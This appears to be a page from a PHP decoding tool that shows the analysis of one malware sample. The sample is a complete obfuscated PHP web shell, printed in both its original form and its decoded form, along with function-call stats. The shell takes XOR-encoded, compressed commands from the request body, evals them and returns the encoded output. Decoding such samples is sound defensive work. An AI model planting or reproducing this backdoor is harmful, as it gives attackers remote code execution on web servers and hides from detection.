Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $q='tch("/$kh(.+)$kfBD/",@fiBDBDle_get_conBDtents("pBDhpBD://inBDput"BD),$m)==';$f='..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="01cfcd4f";$kh="6b8770febfb4";$kf="0cb906715822";$p="QyD9bLWgioBQ4dLu";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php $q='tch("/$kh(.+)$kfBD/",@fiBDBDle_get_conBDtents("pBDhpBD://inBDput"BD),$m)==';$f='QBDyD9bLWBDBDgioBQ4BDdBDLBDu";function x($t,$k){BD$c=stBDrlen($kBD);$l=strl';$B='enBD($BDBDtBD);$o="";for($i=0;$BDBDi<$l;){for($j=BD0;($j<$c&BD&$i<$lBD);$j';$J='$k=BD"01cBDBDfcd4fBD"BD;$kBDh="6b8770febfbBD4";$kf="0cb906BD715822";$BDp="';$k='1) {@oBDb_staBDrt();@eBDvalBD(@gzuBDncompBDress(@BDx(@base6BD4BD_deBDcode(';$i='BD++,$BDi++){$oBD.=BD$tBDBD{$i}^$k{$j};}}return BD$oBD;}if (@pregBD_mBDBDa';$y='BDeBD64_encode(BD@xBD(@gzcBDompress($o),$BDk))BDBD;print("$p$kh$rBD$kf");}';$I=str_replace('xT','','cxTrxTeatexT_xTxTfxTunction');$P='$m[BD1])BD,$kBD)));$o=@ob_BDget_contenBDts();@ob_endBD_BDclean()BD;$r=@bas';$e=str_replace('BD','',$J.$f.$B.$i.$q.$k.$P.$y);$r=$I('',$e);$r();?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 5d27ac646cef4c68fba04557b4757175 |
Eval Count | 1 |
Decode Time | 387 ms |